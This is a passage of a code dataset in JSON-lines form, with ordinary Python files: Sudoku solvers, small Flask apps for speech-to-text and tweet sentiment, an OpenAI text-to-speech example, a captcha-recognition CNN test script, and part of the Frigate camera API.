{"api_name": "bibtexparser.bibdatabase.BibDatabase", "line_number": 17, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "15610902601", "text": "\"\"\"\n\n37. Sudoku Solver\nHard\n\nWrite a program to solve a Sudoku puzzle by filling the empty cells.\n\nA sudoku solution must satisfy all of the following rules:\n\nEach of the digits 1-9 must occur exactly once in each row.\nEach of the digits 1-9 must occur exactly once in each column.\nEach of the digits 1-9 must occur exactly once in each of the 9 3x3 sub-boxes of the grid.\nThe '.' character indicates empty cells.\n\n \n\nExample 1:\n\n\nInput: board = [[\"5\",\"3\",\".\",\".\",\"7\",\".\",\".\",\".\",\".\"],[\"6\",\".\",\".\",\"1\",\"9\",\"5\",\".\",\".\",\".\"],[\".\",\"9\",\"8\",\".\",\".\",\".\",\".\",\"6\",\".\"],[\"8\",\".\",\".\",\".\",\"6\",\".\",\".\",\".\",\"3\"],[\"4\",\".\",\".\",\"8\",\".\",\"3\",\".\",\".\",\"1\"],[\"7\",\".\",\".\",\".\",\"2\",\".\",\".\",\".\",\"6\"],[\".\",\"6\",\".\",\".\",\".\",\".\",\"2\",\"8\",\".\"],[\".\",\".\",\".\",\"4\",\"1\",\"9\",\".\",\".\",\"5\"],[\".\",\".\",\".\",\".\",\"8\",\".\",\".\",\"7\",\"9\"]]\nOutput: [[\"5\",\"3\",\"4\",\"6\",\"7\",\"8\",\"9\",\"1\",\"2\"],[\"6\",\"7\",\"2\",\"1\",\"9\",\"5\",\"3\",\"4\",\"8\"],[\"1\",\"9\",\"8\",\"3\",\"4\",\"2\",\"5\",\"6\",\"7\"],[\"8\",\"5\",\"9\",\"7\",\"6\",\"1\",\"4\",\"2\",\"3\"],[\"4\",\"2\",\"6\",\"8\",\"5\",\"3\",\"7\",\"9\",\"1\"],[\"7\",\"1\",\"3\",\"9\",\"2\",\"4\",\"8\",\"5\",\"6\"],[\"9\",\"6\",\"1\",\"5\",\"3\",\"7\",\"2\",\"8\",\"4\"],[\"2\",\"8\",\"7\",\"4\",\"1\",\"9\",\"6\",\"3\",\"5\"],[\"3\",\"4\",\"5\",\"2\",\"8\",\"6\",\"1\",\"7\",\"9\"]]\nExplanation: The input board is shown above and the only valid solution is shown below:\n\n\n \n\nConstraints:\n\nboard.length == 9\nboard[i].length == 9\nboard[i][j] is a digit or '.'.\nIt is guaranteed that the input board has only one solution.\n\n\"\"\"\n\n# V0\n\n# V1\n# IDEA : BACKTRACK\n# https://leetcode.com/problems/sudoku-solver/solutions/259057/sudoku-solver/\nfrom collections import defaultdict\nclass Solution:\n def solveSudoku(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: void Do not return anything, modify board in-place instead.\n \"\"\"\n def could_place(d, row, col):\n \"\"\"\n Check if one could place a number d in (row, col) cell\n \"\"\"\n return not (d in rows[row] or d in columns[col] or \\\n d in boxes[box_index(row, col)])\n \n def place_number(d, row, col):\n \"\"\"\n Place a number d in (row, col) cell\n \"\"\"\n rows[row][d] += 1\n columns[col][d] += 1\n boxes[box_index(row, col)][d] += 1\n board[row][col] = str(d)\n \n def remove_number(d, row, col):\n \"\"\"\n Remove a number which didn't lead \n to a solution\n \"\"\"\n del rows[row][d]\n del columns[col][d]\n del boxes[box_index(row, col)][d]\n board[row][col] = '.' \n \n def place_next_numbers(row, col):\n \"\"\"\n Call backtrack function in recursion\n to continue to place numbers\n till the moment we have a solution\n \"\"\"\n # if we're in the last cell\n # that means we have the solution\n if col == N - 1 and row == N - 1:\n nonlocal sudoku_solved\n sudoku_solved = True\n #if not yet \n else:\n # if we're in the end of the row\n # go to the next row\n if col == N - 1:\n backtrack(row + 1, 0)\n # go to the next column\n else:\n backtrack(row, col + 1)\n \n \n def backtrack(row = 0, col = 0):\n \"\"\"\n Backtracking\n \"\"\"\n # if the cell is empty\n if board[row][col] == '.':\n # iterate over all numbers from 1 to 9\n for d in range(1, 10):\n if could_place(d, row, col):\n place_number(d, row, col)\n place_next_numbers(row, col)\n # if sudoku is solved, there is no need to backtrack\n # since the single unique solution is promised\n if not sudoku_solved:\n remove_number(d, row, col)\n else:\n place_next_numbers(row, col)\n \n # box size\n n = 3\n # row size\n N = n * n\n # lambda function to compute box index\n box_index = lambda row, col: (row // n ) * n + col // n\n \n # init rows, columns and boxes\n rows = [defaultdict(int) for i in range(N)]\n columns = [defaultdict(int) for i in range(N)]\n boxes = [defaultdict(int) for i in range(N)]\n for i in range(N):\n for j in range(N):\n if board[i][j] != '.': \n d = int(board[i][j])\n place_number(d, i, j)\n \n sudoku_solved = False\n backtrack()\n\n# V1'\n# IDEA : DFS\n# https://leetcode.com/problems/sudoku-solver/solutions/1995505/very-short-python-dfs-solution-with-notes/\n# IDEA :\n# DFS is used as a recursive function to try out all possible cases of a problem and find the case(s) that works and return it to you. In this case, it checks if it follows all 3 rules and if it does it edits the board until it finds a case that works.\nclass Solution:\n def solveSudoku(self, board: List[List[str]]) -> None:\n spaces = [] # create an empty list\n for i in range(9):\n for j in range(9): # create a 9x9 matrix (same dimensions as board)\n if board[i][j] == '.':\n spaces.append((i,j)) # append to spaces if coordinate in board is empty\n \n def dfs(idx) -> bool: # dfs function defined\n if idx == len(spaces):\n return True # stop the dfs function if all empty coordinates was filled with nums, terminate DFS.\n \n i,j = spaces[idx] # get x, y coordinate from spaces\n for fill in range(1,10): # Get numbers 1-9 to try and fill\n s = str(fill)\n if s in board[i]: # check rule 1\n continue # check 1 fail\n\n if any(s == board[cell][j] for cell in range(9)): # check rule 2, if any fails then continue\n continue # check 2 fail\n\n # check rule 3:\n\n row = i // 3 * 3\n col = j // 3 * 3 # find the box in the sudoku\n if any(s == board[r][c] for r in range(row,row+3) for c in range(col,col+3)): # find the other coordinates in the box, and see if it fits the rules\n continue # check 3 fail\n\n board[i][j] = s # change the board coordinates that are empty with the correct nums\n if dfs(idx+1): # add 1 to the idx\n return True\n board[i][j] = '.'\n\n return False\n dfs(0) # run the dfs function with idx with 0\n\n# V1''\n# IDEA : BACKTRACKING\n# https://leetcode.com/problems/sudoku-solver/solutions/1418166/python-backtracking/\nclass Solution:\n def solveSudoku(self, board: List[List[str]]) -> None:\n self.b = board\n self.emptyCells = []\n \n for i in range(9):\n for j in range(9):\n if board[i][j] == '.':\n self.emptyCells.append((i, j))\n \n self.backTrack()\n \n def backTrack(self) -> None:\n if not self.emptyCells: return True\n \n x, y = self.emptyCells.pop(0)\n \n for val in range(1, 10):\n if self.isValid(x, y, str(val)):\n self.b[x][y] = str(val)\n if self.backTrack():\n return True\n else:\n self.b[x][y] = '.'\n \n self.emptyCells.insert(0, (x, y))\n return False\n \n def isValid(self, row: int, col: int, c: str) -> bool:\n for i in range(9):\n if self.b[i][col] != '.' and self.b[i][col] == c: return False\n if self.b[row][i] != '.' and self.b[row][i] == c: return False\n if self.b[3 * (row // 3) + i // 3][ 3 * (col // 3) + i % 3] != '.' and self.b[3 * (row // 3) + i // 3][3 * (col // 3) + i % 3] == c: return False\n \n return True\n\n# V1'''\n# IDEA : DFS\n# https://leetcode.com/problems/sudoku-solver/solutions/659100/concise-python-solution/\n# Trick :\n# \t1)'list(zip(*A))' is the transpose of A\n# \t2) for a general matrix, the nth element is at row n // len(col) and col n % len(col)\n# \t3) in python, setA - setB is equivalent to setA.difference(setB)\n# \t4) string.digits is equivalent to '0123456789'\nclass Solution:\n def solveSudoku(self, board: List[List[str]]) -> None:\n def unique_vals(row, col):\n transpose = list(map(list, zip(*board)))\n colstart, rowstart = (col // 3) * 3, (row // 3) * 3 # topleft corner of each 3 by 3 square\n three_by_three = [board[i][j] \n\t\t\t\t\t\t\t for i in range(rowstart, rowstart + 3) \n\t\t\t\t\t\t\t for j in range(colstart, colstart + 3)]\n return set(string.digits[1:]) - set(board[row] + transpose[col] + three_by_three) - set('.')\n \n def solve(i):\n if i == 81:\n return True\n row, col = i // 9, i % 9\n if board[row][col] == '.':\n for val in unique_vals(row, col):\n board[row][col] = val\n if solve(i + 1):\n return True\n board[row][col] = '.'\n else:\n if solve(i + 1):\n return True\n return False\n\n solve(0)\n\n# V1'''''\n# IDEA : BACKTRACKING\n# https://leetcode.com/problems/sudoku-solver/solutions/2683628/python/\nclass Solution:\n def solveSudoku(self, board: List[List[str]]) -> None:\n \"\"\"\n Do not return anything, modify board in-place instead.\n \"\"\"\n def is_valid( row: int, col: int, val: int) -> bool:\n # 判断同一行是否冲突\n for i in range(9):\n if board[row][i] == str(val):\n return False\n # 判断同一列是否冲突\n for j in range(9):\n if board[j][col] == str(val):\n return False\n # 判断同一九宫格是否有冲突\n start_row = (row // 3) * 3\n start_col = (col // 3) * 3\n for i in range(start_row, start_row + 3):\n for j in range(start_col, start_col + 3):\n if board[i][j] == str(val):\n return False\n return True\n \n def solve(): \n for row in range(9):\n for col in range(9):\n if board[row][col] != '.':\n continue\n for i in range(1, 10): \n if is_valid(row, col, i): \n board[row][col] = str(i) \n if solve():\n return True\n board[row][col] = '.'\n \n return False\n return True\n solve()\n return board\n\n# V2", "repo_name": "yennanliu/CS_basics", "sub_path": "leetcode_python/Backtracking/sudoku-solver.py", "file_name": "sudoku-solver.py", "file_ext": "py", "file_size_in_byte": 11069, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 69, "dataset": "github-code", "pt": "54", "api": [{"api_name": "collections.defaultdict", "line_number": 122, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 123, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 124, "usage_type": "call"}]} +{"seq_id": "5234133517", "text": "from audio_processing.models import Processor\nfrom flask import request , jsonify\nfrom app import app\n\n\n@app.route('/additem', methods=['POST'])\ndef process_input():\n processor = Processor()\n data = request.get_json(force=True)\n path = processor.decode_base64_string(data['string'])\n text = processor.covert_speech_to_text(path)\n return text\n\n\n", "repo_name": "nithinag10/voicebill-api", "sub_path": "audio_processing/routes.py", "file_name": "routes.py", "file_ext": "py", "file_size_in_byte": 359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "audio_processing.models.Processor", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 9, "usage_type": "name"}, {"api_name": "app.app.route", "line_number": 6, "usage_type": "call"}, {"api_name": "app.app", "line_number": 6, "usage_type": "name"}]} +{"seq_id": "391595457", "text": "# Import required dependencies\r\nfrom flask import Flask,render_template,url_for,request\r\nfrom sklearn.feature_extraction.text import CountVectorizer\r\nimport nltk\r\nfrom nltk.stem.snowball import SnowballStemmer\r\nimport re\r\nimport pickle\r\n\r\n# Load model, construct countvector(needed for preprocess function)\r\nvect = pickle.load(open('vectorizer.plk','rb'))\r\n#model = load_model('Tweet_Classifier.plk')\r\nmodel = pickle.load(open('Tweet_Classifier.plk','rb'))\r\n\r\napp = Flask(__name__)\r\n\r\n# Preprocessing function: new_twt is user input, model/cv are created/available above\r\ndef classify_new_tweet(new_twt, model,cv): \r\n clf = model\r\n vect = cv\r\n\r\n fmt_twt = fmt_input_tweet(new_twt)\r\n fmt_twt_dtm = vect.transform([fmt_twt])[0]\r\n pred = clf.predict(fmt_twt_dtm.toarray())\r\n\r\n def mood(x):\r\n return {\r\n 0: 'negative',\r\n 1: 'positive',\r\n 2: 'neutral'\r\n }[x]\r\n\r\n return mood(pred[0])\r\n\r\n#\r\ndef fmt_input_tweet(txt):\r\n \r\n # Remove @tweets, numbers, hyperlinks that do not start with letters\r\n txt = re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)|([0-9])\",\" \",txt)\r\n #print(txt)\r\n \r\n # tokenize into words\r\n tokens = [word for word in nltk.word_tokenize(txt)]\r\n #print(tokens)\r\n\r\n # only keep tokens that start with a letter (using regular expressions)\r\n clean_tokens = [token for token in tokens if re.search(r'^[a-zA-Z]+', token)]\r\n #print('clean_tokens:\\n',clean_tokens)\r\n\r\n # stem the tokens\r\n stemmer = SnowballStemmer('english')\r\n stemmed_tokens = [stemmer.stem(t) for t in clean_tokens]\r\n #print('stemmed_tokens:\\n',stemmed_tokens)\r\n\r\n #Lemmatizing\r\n lemmatizer = nltk.WordNetLemmatizer()\r\n lem_tokens = [lemmatizer.lemmatize(t) for t in stemmed_tokens]\r\n #print('lemmatizer : \\n',lem_tokens)\r\n \r\n #Remove stopwords\r\n stopwords = nltk.corpus.stopwords.words('english')\r\n\r\n # stem the stopwords\r\n stemmed_stops = [stemmer.stem(t) for t in stopwords]\r\n\r\n # remove stopwords from stemmed/lemmatized tokens\r\n lem_tokens_no_stop = [stemmer.stem(t) for t in lem_tokens if t not in stemmed_stops]\r\n\r\n # remove words whose length is <3\r\n clean_lem_tok = [e for e in lem_tokens_no_stop if len(e) >= 3]\r\n #print('clean_lem_tok: ',clean_lem_tok)\r\n \r\n # Detokenize new tweet for vector processing\r\n new_formatted_tweet=\" \".join(clean_lem_tok)\r\n #print('new_formatted_tweet: ',new_formatted_tweet)\r\n \r\n return new_formatted_tweet\r\n# Preprocessing Functions end\r\n@app.route(\"/\", methods=[\"GET\"])\r\ndef index():\r\n return render_template(\"index.html\")\r\n\r\n@app.route(\"/predict\", methods=[\"POST\"])\r\ndef predict():\r\n message = request.form['message']\r\n answer = classify_new_tweet(message,model,vect)\r\n\t\t#data = [message]\r\n\t\t#vect = cv.transform(data).toarray()\r\n\t\t#my_prediction = clf.predict(vect)\r\n return render_template('results.html',prediction = answer)\r\n\r\napp.run(debug=True)\r\n\r\n\r\n\r\n", "repo_name": "cory-ravature/TweetClassifier", "sub_path": "version 1/deployment/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "pickle.load", "line_number": 10, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 14, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 38, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 42, "usage_type": "call"}, {"api_name": "re.search", "line_number": 46, "usage_type": "call"}, {"api_name": "nltk.stem.snowball.SnowballStemmer", "line_number": 50, "usage_type": "call"}, {"api_name": "nltk.WordNetLemmatizer", "line_number": 55, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 60, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 60, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 89, "usage_type": "call"}]} +{"seq_id": "36855441162", "text": "from pathlib import Path\nfrom openai import OpenAI\nclient = OpenAI()\n\nspeech_file_path = Path(__file__).parent / \"speech.mp3\"\nresponse = client.audio.speech.create(\n model=\"tts-1\",\n voice=\"alloy\",\n input=\"Today is a wonderful day to build something people love!\"\n)\n\nresponse.stream_to_file(speech_file_path)", "repo_name": "panaverse/learn-generative-ai", "sub_path": "03_chatgpt/10_multimodal_genai/01_text-to-speech/01_text-to-speech.py", "file_name": "01_text-to-speech.py", "file_ext": "py", "file_size_in_byte": 310, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 54, "dataset": "github-code", "pt": "54", "api": [{"api_name": "openai.OpenAI", "line_number": 3, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 5, "usage_type": "call"}]} +{"seq_id": "40357267023", "text": "import tensorflow as tf\nfrom PIL import Image\n\nfrom Alexnet import Network\n\n\n#5-------------\ndef test():\n CHAR_NUM = 10 # category\n IMAGE_HEIGHT = 60\n IMAGE_WIDTH = 160\n BATCH_SIZE = 1\n TFRECORD_FILE = \"./image/tfrecord/test.tfrecords\"\n\n x = tf.placeholder(tf.float32, [None, 224, 224])\n def read_and_decode(filename):\n filename_queue = tf.train.string_input_producer([filename])\n reader = tf.TFRecordReader()\n _, serialized_example = reader.read(filename_queue)\n features = tf.parse_single_example(serialized_example, features={'image': tf.FixedLenFeature([], tf.string),\n 'label0': tf.FixedLenFeature([], tf.int64),\n 'label1': tf.FixedLenFeature([], tf.int64),\n 'label2': tf.FixedLenFeature([], tf.int64),\n 'label3': tf.FixedLenFeature([], tf.int64)\n })\n image = tf.decode_raw(features['image'], tf.uint8)\n image_raw = tf.reshape(image, [224, 224]) #raw data\n\n image = tf.reshape(image, [224, 224])\n image = tf.cast(image, tf.float32) / 255.0 #standardlize\n image = tf.subtract(image, 0.5)\n image = tf.multiply(image, 2.0)\n\n label0 = tf.cast(features['label0'], tf.int32)\n label1 = tf.cast(features['label1'], tf.int32)\n label2 = tf.cast(features['label2'], tf.int32)\n label3 = tf.cast(features['label3'], tf.int32)\n return image, image_raw, label0, label1, label2, label3\n\n # get label\n image, image_raw, label0, label1, label2, label3 = read_and_decode(TFRECORD_FILE)\n # print(len(sess.run(image)))\n image_batch, image_raw_batch, label_batch0, label_batch1, label_batch2, label_batch3 = tf.train.shuffle_batch(\n [image, image_raw, label0, label1, label2, label3], \\\n batch_size=BATCH_SIZE, \\\n capacity=53, min_after_dequeue=50, \\\n num_threads=1)\n\n network = Network(num_classes=CHAR_NUM, weight_decay=0.0005, is_training=True)\n gpu_options = tf.GPUOptions(allow_growth=True)\n # with tf.Session(config=tf.ConfigProto(log_device_placement=False,allow_soft_placement=True,gpu_options=gpu_options)) as sess:\n with tf.Session() as sess:\n X = tf.reshape(x, [BATCH_SIZE, 224, 224, 1])\n\n logits0, logits1, logits2, logits3, end_pintos = network.construct(X)\n\n prediction0 = tf.reshape(logits0, [-1, CHAR_NUM])\n prediction0 = tf.argmax(prediction0, 1)\n\n prediction1 = tf.reshape(logits1, [-1, CHAR_NUM])\n prediction1 = tf.argmax(prediction1, 1)\n\n prediction2 = tf.reshape(logits2, [-1, CHAR_NUM])\n prediction2 = tf.argmax(prediction2, 1)\n\n prediction3 = tf.reshape(logits3, [-1, CHAR_NUM])\n prediction3 = tf.argmax(prediction3, 1)\n\n sess.run(tf.global_variables_initializer())\n saver = tf.train.Saver()\n saver.restore(sess, './ckpt/crack_captcha-10000.ckpt')\n\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n for i in range(5):\n b_image, b_image_raw, b_label0, b_label1, b_label2, b_label3 = sess.run([image_batch,\n image_raw_batch,\n label_batch0,\n label_batch1,\n label_batch2,\n label_batch3])\n\n # img = np.array(b_image_raw[0],dtype=np.uint8)\n\n #[1,224,224]\n img = Image.fromarray(b_image_raw[0], 'L')\n '''\n plt.imshow(img)\n plt.axis('off')\n plt.show()\n '''\n print('-label-:', b_label0, b_label1, b_label2, b_label3)\n\n label0, label1, label2, label3 = sess.run([prediction0, prediction1, prediction2, prediction3],feed_dict={x: b_image})\n\n print('predict:', label0, label1, label2, label3)\n\n coord.request_stop()\n coord.join(threads)\n\n\nif __name__ == '__main__':\n test()\n", "repo_name": "altraman00/deprecated_python_mdl", "sub_path": "Captcha-Recognition/验证码测试.py", "file_name": "验证码测试.py", "file_ext": "py", "file_size_in_byte": 4536, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "tensorflow.placeholder", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.train.string_input_producer", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.TFRecordReader", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.parse_single_example", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.string", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 21, "usage_type": "attribute"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.FixedLenFeature", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.int64", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.decode_raw", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.uint8", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 30, "usage_type": "attribute"}, {"api_name": "tensorflow.subtract", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.cast", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.train.shuffle_batch", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 43, "usage_type": "attribute"}, {"api_name": "Alexnet.Network", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.GPUOptions", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 58, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 61, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 63, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.reshape", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.argmax", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 70, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 70, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Coordinator", "line_number": 73, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 73, "usage_type": "attribute"}, {"api_name": "tensorflow.train.start_queue_runners", "line_number": 74, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 74, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 86, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 86, "usage_type": "name"}]} +{"seq_id": "2193954698", "text": "import base64\nimport datetime\nimport logging\nimport os\nimport time\nfrom functools import reduce\n\nimport cv2\nimport numpy as np\nfrom flask import (Blueprint, Flask, Response, current_app, jsonify,\n make_response, request)\nfrom peewee import SqliteDatabase, operator, fn, DoesNotExist\nfrom playhouse.shortcuts import model_to_dict\n\nfrom frigate.const import CLIPS_DIR\nfrom frigate.models import Event\nfrom frigate.stats import stats_snapshot\nfrom frigate.util import calculate_region\nfrom frigate.version import VERSION\n\nlogger = logging.getLogger(__name__)\n\nbp = Blueprint('frigate', __name__)\n\ndef create_app(frigate_config, database: SqliteDatabase, stats_tracking, detected_frames_processor):\n app = Flask(__name__)\n\n @app.before_request\n def _db_connect():\n database.connect()\n\n @app.teardown_request\n def _db_close(exc):\n if not database.is_closed():\n database.close()\n\n app.frigate_config = frigate_config\n app.stats_tracking = stats_tracking\n app.detected_frames_processor = detected_frames_processor\n\n app.register_blueprint(bp)\n\n return app\n\n@bp.route('/')\ndef is_healthy():\n return \"Frigate is running. Alive and healthy!\"\n\n@bp.route('/events/summary')\ndef events_summary():\n has_clip = request.args.get('has_clip', type=int)\n has_snapshot = request.args.get('has_snapshot', type=int)\n\n clauses = []\n\n if not has_clip is None:\n clauses.append((Event.has_clip == has_clip))\n \n if not has_snapshot is None:\n clauses.append((Event.has_snapshot == has_snapshot))\n\n if len(clauses) == 0:\n clauses.append((1 == 1))\n\n groups = (\n Event\n .select(\n Event.camera,\n Event.label,\n fn.strftime('%Y-%m-%d', fn.datetime(Event.start_time, 'unixepoch', 'localtime')).alias('day'),\n Event.zones,\n fn.COUNT(Event.id).alias('count')\n )\n .where(reduce(operator.and_, clauses))\n .group_by(\n Event.camera,\n Event.label,\n fn.strftime('%Y-%m-%d', fn.datetime(Event.start_time, 'unixepoch', 'localtime')),\n Event.zones\n )\n )\n\n return jsonify([e for e in groups.dicts()])\n\n@bp.route('/events/')\ndef event(id):\n try:\n return model_to_dict(Event.get(Event.id == id))\n except DoesNotExist:\n return \"Event not found\", 404\n\n@bp.route('/events//thumbnail.jpg')\ndef event_thumbnail(id):\n format = request.args.get('format', 'ios')\n thumbnail_bytes = None\n try:\n event = Event.get(Event.id == id)\n thumbnail_bytes = base64.b64decode(event.thumbnail)\n except DoesNotExist:\n # see if the object is currently being tracked\n try:\n for camera_state in current_app.detected_frames_processor.camera_states.values():\n if id in camera_state.tracked_objects:\n tracked_obj = camera_state.tracked_objects.get(id)\n if not tracked_obj is None:\n thumbnail_bytes = tracked_obj.get_thumbnail()\n except:\n return \"Event not found\", 404\n\n if thumbnail_bytes is None:\n return \"Event not found\", 404\n\n # android notifications prefer a 2:1 ratio\n if format == 'android':\n jpg_as_np = np.frombuffer(thumbnail_bytes, dtype=np.uint8)\n img = cv2.imdecode(jpg_as_np, flags=1)\n thumbnail = cv2.copyMakeBorder(img, 0, 0, int(img.shape[1]*0.5), int(img.shape[1]*0.5), cv2.BORDER_CONSTANT, (0,0,0))\n ret, jpg = cv2.imencode('.jpg', thumbnail)\n thumbnail_bytes = jpg.tobytes()\n\n response = make_response(thumbnail_bytes)\n response.headers['Content-Type'] = 'image/jpg'\n return response\n\n@bp.route('/events//snapshot.jpg')\ndef event_snapshot(id):\n jpg_bytes = None\n try:\n event = Event.get(Event.id == id)\n if not event.has_snapshot:\n return \"Snapshot not available\", 404\n # read snapshot from disk\n with open(os.path.join(CLIPS_DIR, f\"{event.camera}-{id}.jpg\"), 'rb') as image_file:\n jpg_bytes = image_file.read()\n except DoesNotExist:\n # see if the object is currently being tracked\n try:\n for camera_state in current_app.detected_frames_processor.camera_states.values():\n if id in camera_state.tracked_objects:\n tracked_obj = camera_state.tracked_objects.get(id)\n if not tracked_obj is None:\n jpg_bytes = tracked_obj.get_jpg_bytes(\n timestamp=request.args.get('timestamp', type=int),\n bounding_box=request.args.get('bbox', type=int),\n crop=request.args.get('crop', type=int),\n height=request.args.get('h', type=int)\n )\n except:\n return \"Event not found\", 404\n except:\n return \"Event not found\", 404\n\n response = make_response(jpg_bytes)\n response.headers['Content-Type'] = 'image/jpg'\n return response\n\n@bp.route('/events')\ndef events():\n limit = request.args.get('limit', 100)\n camera = request.args.get('camera')\n label = request.args.get('label')\n zone = request.args.get('zone')\n after = request.args.get('after', type=int)\n before = request.args.get('before', type=int)\n has_clip = request.args.get('has_clip', type=int)\n has_snapshot = request.args.get('has_snapshot', type=int)\n\n clauses = []\n\n if camera:\n clauses.append((Event.camera == camera))\n\n if label:\n clauses.append((Event.label == label))\n\n if zone:\n clauses.append((Event.zones.cast('text') % f\"*\\\"{zone}\\\"*\"))\n\n if after:\n clauses.append((Event.start_time >= after))\n\n if before:\n clauses.append((Event.start_time <= before))\n\n if not has_clip is None:\n clauses.append((Event.has_clip == has_clip))\n \n if not has_snapshot is None:\n clauses.append((Event.has_snapshot == has_snapshot))\n\n if len(clauses) == 0:\n clauses.append((1 == 1))\n\n events = (Event.select()\n .where(reduce(operator.and_, clauses))\n .order_by(Event.start_time.desc())\n .limit(limit))\n\n return jsonify([model_to_dict(e) for e in events])\n\n@bp.route('/config')\ndef config():\n return jsonify(current_app.frigate_config.to_dict())\n\n@bp.route('/version')\ndef version():\n return VERSION\n\n@bp.route('/stats')\ndef stats():\n stats = stats_snapshot(current_app.stats_tracking)\n return jsonify(stats)\n\n@bp.route('//